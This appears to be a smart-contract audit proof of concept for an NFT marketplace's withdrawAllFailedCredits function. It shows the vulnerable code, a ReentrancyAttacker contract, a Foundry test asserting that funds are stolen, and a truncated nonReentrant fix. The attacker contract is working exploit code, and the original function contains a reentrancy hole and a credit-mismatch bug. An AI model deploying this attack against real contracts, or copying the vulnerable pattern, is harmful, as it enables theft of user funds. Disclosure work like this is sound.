function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
contract ReentrancyAttacker {
BidBeastsNFTMarket market;
uint256 public attackCount = 0;
uint256 public totalStolen = 0;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
}
receive() external payable {
attackCount++;
totalStolen += msg.value;
if (address(market).balance > 0 && attackCount < 3) {
market.withdrawAllFailedCredits(address(this));
}
}
function attack() external {
market.withdrawAllFailedCredits(address(this));
}
}
function test_withdrawAllFailedCredits_ReentrancyAttack() public {
vm.deal(address(market), 10 ether);
vm.store(
address(market),
keccak256(abi.encode(address(this), uint256(3))),
5 ether
);
ReentrancyAttacker attacker = new ReentrancyAttacker(address(market));
vm.store(
address(market),
keccak256(abi.encode(address(attacker), uint256(3))),
2 ether
);
uint256 marketBalanceBefore = address(market).balance;
uint256 attackerBalanceBefore = address(attacker).balance;
attacker.attack();
uint256 marketBalanceAfter = address(market).balance;
uint256 attackerBalanceAfter = address(attacker).balance;
console.log("Market balance before:", marketBalanceBefore);
console.log("Market balance after:", marketBalanceAfter);
console.log("Attacker balance before:", attackerBalanceBefore);
console.log("Attacker balance after:", attackerBalanceAfter);
console.log("Attack count:", attacker.attackCount());
console.log("Total stolen:", attacker.totalStolen());
assertTrue(attacker.attackCount() > 1, "Reentrancy attack should succeed");
assertTrue(attacker.totalStolen() > 2 ether, "Attacker should steal more than their original balance");
}
}
function withdrawAllFailedCredits() external nonReentrant {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");